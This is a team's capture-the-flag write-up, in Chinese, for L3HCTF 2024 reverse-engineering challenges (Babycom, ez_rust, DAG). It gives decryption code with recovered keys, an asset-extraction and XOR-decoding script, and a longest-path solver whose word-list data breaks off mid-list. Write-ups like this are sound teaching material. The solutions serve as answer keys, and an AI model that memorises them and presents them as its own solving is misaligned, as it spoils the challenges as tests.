UKFC2024 L3HCTF WP

admin 2024年2月7日23:18:19评论37 views字数 34998阅读116分39秒阅读模式

UKFC2024 L3HCTF WP

Re

Babycom

  • 想起安洵那个crc了,动调恢复函数,不过这个就恢复两层,加密就一个xtea【密钥断在加密动调就有】和调win32 api的加密

  • 加密入口点:

UKFC2024 L3HCTF WP

  • win32 API解密仿写【看了下微软文档然后直接喂给gpt解密】:

#include <windows.h>#include <wincrypt.h>#include <stdio.h>int main() {    HCRYPTPROV hProv = 0;    HCRYPTHASH hHash = 0;    HCRYPTKEY hKey = 0;    BYTE v70[16] = { 0xEA, 0x3E, 0xD4, 0x1C, 0x70, 0xCB, 0xD7, 0x47, 0x98, 0x5E, 0xCA, 0xDB, 0x53, 0x0C, 0x39, 0x2B };    BYTE v78[32] = {0x0B,0xAF,0x51,0x21,0x9C,0x52,0x10,0x89,0x3F,0x2C,0x34,0x30,0x87,0x13,0xC1,0x4C,0xC1,0x7F,0x81,0x6E,0xBA,0xBD,0xDF,0x43,0x1A,0xF0,0xD7,0xDE,0x8E,0x66,0xB9,0x7C};    DWORD v73 = 32;    if (CryptAcquireContextA(&hProv, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) &&        CryptCreateHash(hProv, 32771, 0, 0, &hHash) &&        CryptHashData(hHash, v70, 16, 0) &&        CryptDeriveKey(hProv, 26126, hHash, CRYPT_EXPORTABLE, &hKey))    {        CryptDecrypt(hKey, 0, 0, 0, v78, &v73);        // 输出解密结果        printf("Decrypted data: ");        for (int i = 0; i < v73; i++) {            printf("0x%02X,", v78[i]);        }        printf("n");    }    // 释放资源    if (hKey)        CryptDestroyKey(hKey);    if (hHash)        CryptDestroyHash(hHash);    if (hProv)        CryptReleaseContext(hProv, 0);    return 0;}
  • xtea解密

#include <stdio.h>  #include <stdint.h>  void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {      unsigned int i;      uint32_t v0=v[0], v1=v[1], delta=0x114514, sum=delta*num_rounds;      for (i=0; i < num_rounds; i++) {          v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);          sum -= delta;          v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);      }      v[0]=v0; v[1]=v1;  }  int main()  {      uint32_t v[8]={0x74C1B42A,0x05AA59D6,0x9C7F1073,0x62994940,0x8F51843C,0xF1AB373F,0x9661FE0E,0x6A41AD45};      uint32_t const k[4]={0x1CD43EEA,0x47D7CB70,0xDBCA5E98,0x2B390C53};      unsigned int r=32;    for(int j = 0; j < 4; j++){        uint32_t temp[2] = {v[2*j],v[2*j+1]};        decipher(r, temp, k);          for(int i = 0; i < 2; i++){            printf("%c",temp[i]&0xff);            printf("%c",(temp[i]>>8)&0xff);            printf("%c",(temp[i]>>16)&0xff);            printf("%c",(temp[i]>>24)&0xff);        }    }    return 0;  }

ez_rust

  • 参考文章:

https://blog.yllhwa.com/2023/05/09/Tauri%20%E6%A1%86%E6%9E%B6%E7%9A%84%E9%9D%99%E6%80%81%E8%B5%84%E6%BA%90%E6%8F%90%E5%8F%96%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6/

  • 与文章相同的方式,字符串搜索index.html

UKFC2024 L3HCTF WP

  • 找引用(上图右边黄色地址):

UKFC2024 L3HCTF WP

  • 四个数据分别是文件名,文件名长度,文件地址,文件地址长度,所以我们找到第三个数据的地址处,dump出21865个数据,使用brotli解压脚本进行解压

import brotlicontent = open("dump.br", "rb").read()print(len(content))decompressed = brotli.decompress(content)open("dump", "wb").write(decompressed)
  • Js格式化以后就是一个简单的循环异或

s = "secret"import base64enc = b'JFYvMVU5QDoNQjomJlBULSQaCihTAFY='m = base64.b64decode(enc)for i in range(len(m)):    print(chr(m[i] ^ ord(s[i%6])),end='')

DAG

  • 智障gpt+人工审计还原python代码

  • solution算法就是在求有向无环图的最长路径,func1是连通判断

实际上不需要得到前面的8个字符串变量,把算法搞对,num23知道了以后,num1的值是有限的,直接试就行了

  • 计算路径:

def abc(abcarray, arr, lss, i):    if abcarray[i] > 0:        return abcarray[i]    else:        m = 1        for index, word in enumerate(lss):            if func1(arr, lss, i, index) == 1:                m = max(m, abc(abcarray,arr,lss, index) + 1)        abcarray[i] = m        return mdef func1(arr, lss, i, j):    if arr[len(lss) * i + j] != -1:        return arr[len(lss) * i + j]    else:        s1 = list(lss[i])        s2 = list(lss[j])        l1 = len(s1)        l2 = len(s2)        flag = True        n = 0        if l1 - l2 == 1:            while n < l2:                if s1[n] != s2[n]:                    if flag:                        flag = False                    else:                        arr[len(lss) * i + j] = 0                        return 0                n += 1            arr[len(lss) * i + j] = 1            return 1        else:            arr[len(lss) * i + j] = 0            return arr[len(lss) * i + j]def solution(lss):    abcarray = [-1] * len(lss)    arr = [-1] * (len(lss) * len(lss))    ans = 1    for i in range(len(lss)):        ans = max(ans, abc(abcarray, arr, lss, i))    return ansnum2 = ['klmnowx', 'abcdefgiklmno', 'fgij', 'bcfghijklmno', 'fgjpqrst', 'uy', 'abceklmnouvw', 'pqrstuwy', 'fghijlno',        'mnouvwxy', 'klmnopqt', 'klmnopqrstuy', 'aeuvw', 'muvw', 'abcdeklmnow', 'fhijpqrst', 'mpqrst', 'klmnoprt',        'fghijklno', 'abcdelmo', 'klnuvwxy', 'klmnopst', 'abcdeklmnov', 'fghj', 'luvwxy', 'ghklmnopqrst', 'pqrstwx',        'abcdklmno', 'cdefghij', 'pqrs', 'efghijklmno', 'fghjklmno', 'adeklmno', 'rs', 'kuvwxy', 'ghij', 'befghijklmno',        'ln', 'hijklmnopqrst', 'ghpqrst', 'fgiklmnopqrst', 'pqrtuvwxy', 'pqrsty', 'jklmnopqrst', 'lnouvwxy',        'klmnoqsuvwxy', 'abcdeghklmno', 'fi', 'fghijlnpqrst', 'abdklmnouvw', 'uwx', 'abcdekln', 'klmno', 'abcdekn',        'abcdemuvw', 'pqs', 'fghijpqt', 'klmnopqrstuw', 'n', 'nopqrstuvwxy', 'abcdefghj', 'fghiklmnopqrst', 'klmnorst',        'abcdemnouvw', 'fgh', 'pqt', 'abfghij', 'o', 'nouvw', 'abcdklmnouvw', 'abeklmno', 'abcden', 'klmnopqrstwxy',        'q', 'fghijklmnoprt', 'klmnovx', 'abceuvw', 'klmnopsuvwxy', 'hj', 'abcdefgh', 'fhjklmno', 'klmnoquvwxy', 'wxy',        'klmnopqrstuvwy', 'kln', 'abcdegklmno', 'mno', 'gklmno', 'klnouvw', 'fghijklmnoqr', 'fghijpqrst', 'mnuvwxy',        'ghipqrst', 'klmnoqrtuvwxy', 'acdfghij', 'uwy', 'fghjklmnopqrst', 'mnpqrstuvwxy', 'abcdeknouvw',        'abcdefghijklmno', 'klmnorsuvwxy', 'abcdeh', 'klmnost', 'iklmnopqrst', 'abcdegijklmno', 'fghijklmopqrst',        'fghijklmnors', 'pqrstux', 'abcdefghijlm', 'abcdem', 'klmn', 'opqrst', 'ghjklmnopqrst', 'cdfghij', 'kluvwxy',        'ceklmno', 'abcdeghijklmno', 'lmo', 'bklmno', 'fghijs', 'cdeklmnouvw', 'abcdeknuvw', 'cdklmnouvw',        'abcdeklmnovw', 'klmnopr', 'fghijklmnopqrst', 'klmnopqtuvwxy', 'abcdefhijklmno', 'abcdeuv', 'abcdefhklmno', 'x',        'abcdeouvw', 'fjklmno', 'a', 'klmnopqrstuv', 'abdklmno', 'fghijlm', 'bcefghijklmno', 'quvwxy', 'fghi',        'klmnopqrstuwx', 'r', 'klmnuvw', 'kn', 'abcdeklmn', 'abcdeklmno', 'ps', 'klmnoqrt', 'pstuvwxy', 'klmnopqrsty',        'lmn', 'd', 'abcdefghijmo', 'fghijmnopqrst', 'ghiklmno', 'mouvwxy', 'abcdeghj', 'fghijklmnopr', 'kmnouvwxy',        'fghijklmnopqst', 'klmnox', 'nouvwxy', 'adefghijklmno', 'kmo', 'klmnovy', 'klmnopqrstuvwxy', 'cde', 'y',        'klmnouy', 'fgklmnopqrst', 'nuvwxy', 'kluvw', 'abcdefghijkno', 'abcdekl', 'fghijno', 'ceuvw', 'abcdelo',        'bcdklmno', 'gij', 'abcdeijklmno', 'klmnopqrt', 'abcdeklm', 'pqruvwxy', 'klnuvw', 'fijklmno', 'knpqrstuvwxy',        'fghijklmnor', 'ace', 'abcdekluvw', 'deklmnouvw', 'lpqrstuvwxy', 'abcdefghiklmno', 'fijpqrst', 'klmnopqrstvwy',        'mn', 'kmpqrst', 'ipqrst', 'fghijkmnpqrst', 'uvxy', 'bklmnouvw', 'fghijkmnopqrst', 'fghijklnopqrst',        'kopqrstuvwxy', 'pqrstuwxy', 'abdeuvw', 'acefghij', 'jklmno', 'k', 'fghijqs', 'abcdefghijno', 'fghijklmnort',        'adeuvw', 'vwx', 'gjklmno', 'hi', 'abcdefghijm', 'nuvw', 'fklmnopqrst', 'abcdehklmno', 'fghijklmnoqrt',        'klmnoruvwxy', 'abcdemnuvw', 'klmnovw', 'klmnopqrstvw', 'klmnoqtuvwxy', 'klmnoy', 'wx', 'ouvwxy', 'lmopqrst',        'fghjpqrst', 'lnuvwxy', 'vy', 'abdfghijklmno', 'kmnouvw', 'uvy', 'klmnoqst', 'klmnort', 'pqrstuxy', 'qs',        'lopqrstuvwxy', 'mnouvw', 'abdeklmno', 'abcdelnouvw', 'pruvwxy', 'qrsuvwxy', 'cklmno', 'bc', 'acdfghijklmno',        'j', 'fghijpqs', 'fghijknopqrst', 'fgijklmno', 'fghijnopqrst', 'mpqrstuvwxy', 'knopqrst', 'acdeuvw', 'lnouvw',        'fghijklmn', 'klmnouvxy', 'abcdefghiklmno', 'abcdefghij', 'hij', 'abcdekuvw', 'klmnopqs', 'aklmnouvw',        'acdefghijklmno', 'cfghij', 'fghijpqst', 'cfghijklmno', 'abcdefhi', 'kmouvwxy', 'pquvwxy', 'pqrstuy',        'pqrstuwx', 'ce', 'klmnopqrstv', 'deklmno', 'klmnouvw', 'abcdeno', 'fghijkmo', 'knouvwxy', 'fpqrst', 'hklmno',        'fghijkmopqrst', 'abcdefghjklmno', 'kmpqrstuvwxy', 'dklmnouvw', 'abcdefghijkmo', 'abcdel', 'giklmnopqrst',        'buvw', 'klmo', 'klmnoqrsuvwxy', 'uvwy', 'abcdeluvw', 'klmnostuvwxy', 'bceklmno', 'fghijm', 'defghijklmno',        'ijklmno', 'pqr', 'abcduvw', 'fghijklmnopqt', 'hijklmno', 'klmnoprsuvwxy', 'aeklmno', 'lo', 'klmnouxy',        'cdklmno', 'fghijpr', 'muvwxy', 'lmnouvwxy', 'abce', 'klmnopqrst', 'pt', 'klmnoptuvwxy', 'abde',        'abcdeghiklmno', 'klmnopqsuvwxy', 'klmnouvx', 'efghij', 'klmnouwy', 'bceklmnouvw', 'klmnuvwxy', 'ad', 'klmnoux',        'gjpqrst', 'abcdegij', 'fghijkpqrst', 'fghijlmnopqrst', 'abcdefj', 'fghijklmnops', 'fghijklmnoqs', 'ghi',        'fghijqst', 'abcdemo', 'abcdefghijkl', 'fghklmnopqrst', 'no', 'klmnopqrstuwxy', 'klmnopqrstvwx', 'abcdeklmnou',        'abdefghijklmno', 'klmnopqrstxy', 'acfghij', 'pqrstuvwy', 'kuvw', 'abcdehi', 'de', 'fghijpq', 'lmuvwxy',        'abcdelmouvw', 'abdfghij', 'knuvwxy', 'acde', 'cuvw', 'uw', 'kmopqrstuvwxy', 'abcfghij', 'fghij', 'abcdeklmo',        'abcdehij', 'abcdek', 'fghijklmnoqrst', 'pqrstvx', 'klmnopqrstvx', 'abc', 'klmnoqrstuvwxy', 'acklmnouvw',        'afghijklmno', 'abcdeklmnuvw', 'abcdei', 'fgiklmno', 'klmnopqrstuvw', 'abcklmnouvw', 'abcdelmnuvw', 'abcdehj',        'abcdefghijlo', 'fghpqrst', 'acfghijklmno', 'abcdeg', 'klpqrst', 'klmouvw', 'bdfghijklmno', 'aefghijklmno',        'fijklmnopqrst', 'fghijps', 'fghijklnpqrst', 'fghijklmnop', 'fklmno', 'klmnopqrstw', 'abcdfghijklmno', 'fj',        'lnopqrst', 'fghijkmpqrst', 'fghijlnopqrst', 'ux', 'fgjklmno', 'fghijklmnopqr', 'abcdeghjklmno',        'abcdefghijkmn', 'abcdegiklmno', 'abcdefiklmno', 'acdeklmno', 'klmnops', 'fghijklmnopqrt', 'fghijklmnoqt',        'abcdegj', 'acdklmno', 'abcdeghi', 'abcdelmuvw', 'abcdefg', 'fghijkl', 'gjklmnopqrst', 'hipqrst',        'klmnopqstuvwxy', 'lnuvw', 'ghijpqrst', 'pqrstuvwxy', 'klmnovwx', 'klmnoqstuvwxy', 'bcklmnouvw', 'abdeklmnouvw',        'fghijklmnopq', 'abcdefghijk', 'abcdefghijklno', 'fiklmnopqrst', 'klmnopq', 'npqrstuvwxy', 'klmnopqrstwx',        'abcdefi', 'lpqrst', 'ghijklmnopqrst', 'bd', 'bcuvw', 'hjklmnopqrst', 'adfghijklmno', 'klmnosuvwxy', 'louvwxy',        'bce', 'gpqrst', 'fghijklmnot', 'wy', 'pqrstvwxy', 'fghijkln', 'lmouvw', 'gi', 'fghijn', 'fhklmnopqrst', 'ghj',        'klpqrstuvwxy', 'abcdefgklmno', 'fghijlmo', 'fghijo', 'fhpqrst', 'klmnoprs', 'abcefghij', 'abcdeklno',        'abcdefghijlmno', 'kmnpqrst', 'fghijklmnoq', 'abcdefhij', 'fghijklmnopt', 'klmnopt', 'abcdefklmno', 'abcdelno',        'pqrstw', 'fghijlopqrst', 'bfghij', 'abuvw', 'abcdefghijln', 'ac', 'aefghij', 'prs', 'lmnopqrstuvwxy',        'abcdefghijn', 'klmnopqrstux', 'luvw', 'giklmno', 'kpqrst', 'jpqrst', 'fghijrt', 'fghijlo', 'abcdefij',        'fghijklmnorst', 'fghijqrst', 'tuvwxy', 'fghijlmopqrst', 'klmnouwxy', 'bdeuvw', 'fghijprt', 'klmnoprst',        'pqrstuvy', 'fghijpqrt', 'fgj', 'pqrstvxy', 'abdefghij', 'abcdegh', 'abefghij', 'lno', 'klmnopuvwxy',        'klmnouvwxy', 'fghijrst', 'cd', 'euvw', 'hijpqrst', 'pqrst', 'klopqrst', 'gijpqrst', 'klmnopqrs', 'fghijk',        'klopqrstuvwxy', 'rtuvwxy', 'klmnorstuvwxy', 'stuvwxy', 'abcdevw', 'cdefghijklmno', 'bdeklmno', 'pqstuvwxy',        'fghipqrst', 'fghijpst', 'kmn', 'mo', 'abcdeuw', 'qst', 'fghijklmnost', 'klnopqrst', 'abcdekm', 'abcdefgj',        'klmnopqrstuvy', 'kouvw', 'abcdelmnouvw', 'abefghijklmno', 'fgipqrst', 'klm', 'klmnopstuvwxy', 'abcdekmno',        'fghijmno', 'pqrstvw', 'kmouvw', 'cdeklmno', 'st', 'fij', 'fhiklmno', 'abcdefghklmno', 'lmnuvwxy', 'klmnovwy',        'klmnow', 'mnuvw', 'fghijklmnpqrst', 'klmnoxy', 'fghklmno', 'b', 'lopqrst', 'pqrstuvw', 'abcdekmouvw',        'abcdeklmnouw', 'acduvw', 'klmnoq', 'bde', 'pqrstxy', 'qrs', 'bcdeklmnouvw', 'abcdekmo', 'abcdefghijkn', 'kno',        'abcdefghijklm', 'abcdefgij', 'kmopqrst', 'kmnuvwxy', 'pqrstuvwx', 'fghijkmn', 'acdefghij', 'fghijmn', 'qr',        'l', 'kmnopqrstuvwxy', 'abcdefghijl', 'afghij', 'auvw', 'abcdew', 'klmnopqrstwy', 'adfghij', 'abcdeghij',        'lmopqrstuvwxy', 'abcdefghijklmn', 'uvx', 'km', 'abcdefijklmno', 'abcdeij', 'pq', 'lnpqrst', 'bdfghij',        'abcdefhj', 'mopqrstuvwxy', 'fghijklmnopqs', 'fghijqt', 'ade', 'abcdejklmno', 'fghijklmpqrst', 'pqrstuvxy',        'mouvw', 'mopqrst', 'lmnopqrst', 'abcdefhjklmno', 'acdklmnouvw', 'bcklmno', 'nopqrst', 'qrt', 'fghijlmnpqrst',        'pqrstuv', 'klmnos', 'pqrstwxy', 'fgjklmnopqrst', 'pqrstuw', 'klmnopqrstuvxy', 'fhijklmno', 'abcdekmnuvw',        'ghjklmno', 'klmnoprtuvwxy', 'abcdefghijlmn', 'klmouvwxy', 'abcdegjklmno', 'p', 'hiklmnopqrst', 'rstuvwxy',        'gh', 'cdfghijklmno', 'klmnou', 'iklmno', 'klmnopqrstvxy', 'lmpqrstuvwxy', 'prtuvwxy', 'klmnovwxy', 'pqst',        'klmnortuvwxy', 'lmnpqrstuvwxy', 'fghijmpqrst', 'ghiklmnopqrst', 'klmpqrst', 'klmnoprstuvwxy', 'ghklmno',        'fghijopqrst', 'klmnoqruvwxy', 'abcdeklmouvw', 'ae', 'abcfghijklmno', 'vw', 'fghijr', 'kmnpqrstuvwxy',        'fghijklpqrst', 'vwxy', 'uxy', 'cklmnouvw', 'abcdefghijkm', 'uvw', 'bcd', 'bcefghij', 'abcdeiklmno', 'klmnot',        'cduvw', 'fghijmo', 'eklmnouvw', 'klmnopqrstuwy', 'kmnuvw', 'lmouvwxy', 'abcdefghijlmo', 'cefghij', 'klmnoqs',        'klmnouwx', 'kmuvwxy', 'ceklmnouvw', 'fghijklmnoqrs', 'abduvw', 'abceklmno', 'ghijklmno', 'abcdefghijmn',        'bcdfghij', 'pqrstvwx', 'fghijlpqrst', 'gijklmnopqrst', 'abcdelnuvw', 'pqrstvwy', 'pr', 'fghijklmnos', 'c',        'fghijklmno', 'abcdefghijkmno', 'abcuvw', 'abcdev', 'abeuvw', 'pqrstuvx', 'klo', 'fghijln', 'klmnpqrstuvwxy',        'abcdefghijlno', 'fghijklmnopst', 'acd', 'gipqrst', 'w', 'abcdenuvw', 'deuvw', 'abcdeklmnouvw', 'fg', 'cdeuvw',        'lmnuvw', 'abcdenouvw', 'klmnoqt', 'hklmnopqrst', 'klmnouvwy', 'gijklmno', 'klmnopqrst', 'fghijmopqrst', 'kmno',        'f', 'uv', 'fhij', 'knuvw', 'klmnor', 'klnouvwxy', 'bcdeuvw', 'bdklmno', 'abklmnouvw', 'abcdehjklmno', 'bcde',        'fghijklmo', 'abcdefghijklmo', 'ko', 'abcdeklmuvw', 'bcdefghijklmno', 'beuvw', 'qstuvwxy', 'aeklmnouvw', 'h',        't', 'kmuvw', 'fhi', 'fjklmnopqrst', 'hiklmno', 'fhipqrst', 'qrtuvwxy', 'abcdeklnuvw', 'fghijqrt', 'pqrstx',        'bdefghijklmno', 'gj', 'abcdelmno', 'abcdefjklmno', 'fhjpqrst', 'klnpqrst', 'fgijklmnopqrst', 'abcdelm',        'fghijrs', 'klmnouw', 'fhklmno', 'abcdeln', 'fgijpqrst', 'fghijklmnoqst', 'abeklmnouvw', 'klmuvw', 'i', 'lmno',        'fghijklo', 'fghijkm', 'g', 'adklmnouvw', 'be', 'abcdefgjklmno', 'prst', 'puvwxy', 'qrstuvwxy', 'klmnov',        'klmnopqrstuvwx', 'acefghijklmno', 'fghijpqrs', 'fhj', 'abklmno', 'abcd', 'fiklmno', 'ijpqrst', 'fghijnpqrst',        'lmnouvw', 'suvwxy', 'knouvw', 'duvw', 'fghijkmno', 'bdefghij', 'aceklmno', 'fgklmno', 'fghijst', 'adefghij',        'fghijklmnopqrs', 'bcdefghij', 'abcdefghijko', 'klmnotuvwxy', 'klmnopruvwxy', 'klmnovxy', 'qtuvwxy',        'fhjklmnopqrst', 'klmnoqrst', 'prt', 'fghijt', 'uvwx', 'abcdekmnouvw', 'dfghij', 'abcdehiklmno', 'klmnopqrstu',        'adeklmnouvw', 'abcdefghijmno', 'klmnopquvwxy', 'abcdefghijkln', 'mnpqrst', 'fghijlmn', 'lnopqrstuvwxy', 'pqrt',        'fghijpt', 'abcde', 'ij', 'bcdklmnouvw', 'fghijkn', 'pst', 'bdklmnouvw', 'abcdeko', 'fh', 'fjpqrst', 'fghijqr',        'beklmno', 'fghijklopqrst', 'lmuvw', 'klouvw', 'fghijpqr', 'abcdegi', 'psuvwxy', 'klnopqrstuvwxy', 'abcdelmn',        'fhiklmnopqrst', 'fghijprst', 'lnpqrstuvwxy', 'qruvwxy', 'aduvw', 'abcdekmuvw', 'adklmno', 'abcdeu',        'cefghijklmno', 'lm', 'hjklmno', 'abcdefghijklo', 'klmnoqrs', 'fghijko', 'ouvw', 'pqrstu', 'mnopqrst', 'louvw',        'prsuvwxy', 'abcdekno', 'klmnopqruvwxy', 'kpqrstuvwxy', 'abcdefgijklmno', 'klmnors', 'abcdefghijo', 'npqrst',        'knopqrstuvwxy', 'vx', 'fghijqrs', 'klmnopqrstuxy', 'u', 'aceuvw', 'klmnopqrtuvwxy', 'uvwxy', 'fipqrst',        'klmnowxy', 'befghij', 'gklmnopqrst', 'abe', 'mnopqrstuvwxy', 'fghijklmnoprs', 'abcdeo', 'eklmno', 'fgi',        'fghijlmpqrst', 'qt', 'abcdefghi', 'bcduvw', 'bduvw', 'klouvwxy', 'kouvwxy', 'fghiklmno', 'abcdemno',        'pqsuvwxy', 'ab', 'klmnopqrstvwxy', 'pqrstv', 'abfghijklmno', 'beklmnouvw', 'fghijklm', 'pqrsuvwxy',        'acdeklmnouvw', 'vwy', 'ghjpqrst', 'fghijl', 'klmnopqrstvy', 'abcdelouvw', 'fhijklmnopqrst', 'klmpqrstuvwxy',        'abcdef', 'bcfghij', 'fghijkno', 'kopqrst', 'rsuvwxy', 'abcdekmn', 'aklmno', 'dfghijklmno', 'abcdeklouvw',        'klmnpqrst', 'abcdeklmnouv', 'knpqrst', 'aceklmnouvw', 'kl', 'fghijprs', 'rt', 'klmnopqrsuvwxy', 'bfghijklmno',        'klmnouv', 'abcdefh', 's', 'klmnouvwx', 'fghijp', 'uwxy', 'fghijq', 'klmnoqr', 'vxy', 'fgpqrst', 'fghijlmno',        'defghij', 'pqtuvwxy', 'dklmno', 'klno', 'klmnowy', 'abcdemn', 'abcdeklnouvw', 'ptuvwxy', 'abcdehijklmno',        'acuvw', 'bcdfghijklmno', 'abcdemouvw', 'abcdefgi', 'opqrstuvwxy', 'v', 'lmpqrst', 'abcdeuvw', 'abcdekouvw',        'qrst', 'klmopqrstuvwxy', 'prstuvwxy', 'lmnpqrst', 'pqrstvy', 'abcdfghij', 'klmnop', 'ijklmnopqrst',        'klnpqrstuvwxy', 'klmnopqr', 'xy', 'abcdeklo', 'abd', 'klmnouvy', 'klmuvwxy', 'abcefghijklmno', 'fghijkopqrst',        'fghijklmnoprst', 'ruvwxy', 'm', 'e', 'abcdej', 'hpqrst', 'bceuvw', 'fghijmnpqrst', 'pqrstwy', 'klmnopqrstx',        'qsuvwxy', 'fghijknpqrst', 'bcdeklmno', 'klmopqrst', 'bdeklmnouvw', 'klmnopqst', 'klmnopqrstuvx', 'acklmno',        'hjpqrst', 'abcklmno', 'rst']num3 = ['ysvydhncudvxqgub', 'jxomzgqmpccovmyy', 'hxiwwqdowwbdzrql', 'zqfykhyqgxpuedhx', 'vhszanyizlocrcta',        'dthywqimclejyrxf', 'pxvnsacefcaeqwpn', 'eibroystpzgkhwkt', 'efioczniyhzlkgxx', 'jbafyifjrdsevjlt',        'noggsbrxuzxxxpnv', 'usxugdobkxyvebgp', 'omppygjbdzvfncoh', 'lszhxcyfyhbezqpl', 'sywbjmfmigsrdhbe',        'kmitesfpzturedvn', 'fhccayoplynamcmf', 'xwkxxvmngwdkktcq', 'bkdetlrdtrvxtwnm', 'otbqjkibazuiuzjc',        'bvdlpsuozpxykhso', 'sfkdemywenvutigi', 'zlsgexavkjlbniyz', 'omvmljrelegkrnly', 'ncfqxwbgspmmxequ',        'nsnusovrqfyjqcmi', 'xmfltlmbucykoygu', 'znevkwdmcjkxazvx', 'qmmlumphgweyuqll', 'vvwllhnjjilkkfbr',        'tfczebbrmcwkijpy', 'dyqudxtooxmzaivg', 'qabmbvkkacpipzwv', 'ousivmwzqkzowbsf', 'wiajbnzcyczvdkme',        'jtvkqglawuiitvne', 'hynkguvzlahiaweu', 'dcdhzutcxsrwhtiu', 'sjkbkfbzcltyhkzc', 'vmtoulenvyzgmzph',        'hhpjlqospgyrpjnr', 'trxsiqvzjdsumnbx', 'ifmzrmfjlfbxrspp', 'zuybbnxweoodzrcp', 'dqselcmauqpdbvji',        'ucdmjxlnodsqbtpf', 'yxqxoqyqsuxbvvwh', 'jifmvnffunc2jlgdux', 'fttypgxftlzhrjhu', 'rzmkqtaejgzrwvht',        'fylzmnvoslrjeuhu', 'xxhmsywcfchxybtz', 'nivviopjjkilmfnt', 'vlvtonhigprfttuk', 'cwgnurrfabcfotdmj',        'erjxfseyzaygaujp', 'nrcqdwczglmcvinq', 'dqbyglmywihtexid', 'vqggccuiimjqqpuz', 'wbvvklwhouxxcbzg',        'jxstdmcbouqvysje', 'envdnanmuewgheqr', 'oxjeneckyoxdypwq', 'ityoxogkfmlasgfq', 'tgpkcweywtqopjnc',        'hepoijpjgvckkqzc', 'ubppuzmagmjgmjnf', 'snvaiqinphtkbxtc', 'wvdwymqejrygisbn', 'kmbwjynfbwyablvs',        'rsscpinfcegvnulj', 'oplzudhvjaumtavx', 'oionhndcrjvfexir', 'cxxlrudrixtmjsgw', 'sfngfbrksewwbwuo',        'wngezcjkxlftmure', 'xgkmmsvjjvtlwyko', 'dfaihamfjrwobkai', 'ybzlbmtejcbhkbqn', 'yvgttkpmodjrdjaj',        'wsfkdifjxsisyazp', 'btdahuinzvvmyuti', 'sppdjjphoadtnxqz', 'idikaxmkupaaeyvd', 'bxmusrwhsuglelsa',        'wllftkyuyjwumzfz', 'lsrfakcruqfghhqr', 'oitbsfztaayzgttw', 'qvdaclqbkxzxtvji', 'hqtnylqopcuyitvv',        'dovrsivynjuycgob', 'zbeexmgffbvgyukt', 'jnyrkwuketocbnlp', 'kesivzsfimkupknz', 'fvctuhkhcsxgpnlc',        'geyiflxobsqqgysp', 'vdhnckkljiwiylkc', 'jxixmpjvkuisogjx', 'ggmgthlqqfjzvsiv', 'nkdbbqswrytidodb',        'cvnxasfxcyyprwky', 'msptawajcgigotxx', 'lggqfreicrrzgqug', 'pywexuvmpapzhhmk', 'yjfzlaazckdxqhpk',        'gxopiqnejwahizvy', 'rwptjuqhjshtosim', 'zhszbxltmwjfbcnn', 'hznbmqrhucjlhtev', 'repwvulbjzulzqlm',        'juemhyiaujdhjwda', 'iphegtklhgyiabcof', 'tpqxoalgjntzhxph', 'ahnrxtoyzqrqrxce', 'ljsunmfpleczezfi',        'flqbbwjpvmpiagkm', 'enxrdnasgsrczncm', 'setirvmdopdbgqqi', 'uuyoeqtcgvygmlbd', 'gznmxhdzpgclmmce',        'wrqmvtilsmjrfruj', 'nzbqahmftsbygrje', 'nodxqfwosevxikai', 'ynzmckxtfampkdcb', 'ishsysxcjavxukfq',        'mbwcnmktksqoptdx', 'ybpgwitxuarhyuud', 'odkhmislpnpjltvc', 'imlknoihasmgbjle', 'autoweexfbmsnamc',        'pzddxvvmnmujzovy', 'zbklmwsqltyiqjaq', 'wsfezmwlwnovzfnq', 'ipvtflaxlabczbjwg', 'xmeypiupgboeikma',        'qmhxpnusoafktsrp', 'akbzwaoevusmqhjy', 'ptnrluxfiaoedirs', 'fkkujjetvujaffev', 'iqlaebkqlabcuugvd',        'tvfazupnodyxyegj', 'cxxbmckkoocwwmkv', 'eiinwggrnufbuefm', 'jbajzgyvabcjrpirb', 'anotitqeflusqkmx',        'kkyyjfyqfwuyphvs', 'mkxxxgmewnnfmtgw', 'rfzfkowvhlbuptnn', 'yihacnrktjrrbupi', 'ljbfbmrxivbqhvgn',        'kelkifhcummieqec', 'qwglfqmlgtufeggt', 'ztdsjupiobdswepc', 'nxxrjnqebfrtztab', 'zwuijitgzkamuohu',        'skctyqbrtdlybrad', 'ftvbzzqisluhwvoj', 'tkyzlbdwikxwxtfm', 'yqzbwtibgyhezefc', 'ugmtditxujqhzdjk',        'pzqfxlcsbyiayoqn', 'mvuvmubzxoapqlwq', 'wxydvrxojyifgild', 'gaubuvvoncoahhqs', 'arrqgidasqpyozqo',        'hlktmcpfqmqunsiw', 'hpshspcjtkvjtyfc', 'xwdjpdyqbgkvbbto', 'dnipqamvliabetfk', 'zrptncovohuprjfj',        'zykerhdnpwqnklnp', 'wehvwpjsjmlhbxme', 'qhabvcixedhtacnm', 'nzbonhjtiragsjxu', 'piktfsxlejzjpmxa',        'kpgluxplomivhups', 'utbqkkbmdakmajvb', 'pbosjdvammowabof', 'hwwpavjyghyogxiz', 'qixjbuehpllqwbir',        'watokwdhqrlthmyt', 'fiuvnmucwsfhvirt', 'efjbktqktzylkzym', 'eyagoufvrlrbukvi', 'dbebcdxywrceoioj',        'dmejkiuqtpzkvtil', 'irxxxrbxjvvisefx', 'ezacasyffovrewri', 'zfoernjrzvxkzqjn', 'krrmkfftxdxqxrjf',        'xexiopshwbkipjdw', 'cnuiizhcocljycvu', 'idsxihqjacgtwiuu', 'nwjjtbiketrqdvxb', 'avmxhxabcxhflzcbs',        'uqxjgosfyjcbxshz', 'gwybdcsgvjjacjoq', 'zokabcujdqyhfvvve', 'dudqkxdyvnmzxbal', 'duurelhvlvlwtisc',        'vvduznkfxsydjjsu', 'jvohyxbezkxdybjk', 'tecmjpqvbqdfgbch', 'wmiwtqmxlipobteb', 'bzhfoutsommbeahv',        'pzxilyvfyokfmsmr', 'fvptnoujoahvjljv', 'nntjwlzvtlwjijtq', 'iiahigptxppvjwwh', 'fiwxrfkvznhngctp',        'hljuecxsqwhfhooj', 'kpgylifngxbybkwm', 'ckxgbjjygzkystat', 'anxjpmmadenhxunx', 'kztzbysfhebhkxhw',        'qeywqntlveiebhos', 'jlbvhtvumiyxwqlo', 'ubsttmdcjigfizes', 'tifeodqhusljfhxl', 'xhtrvehthwvsxkmj',        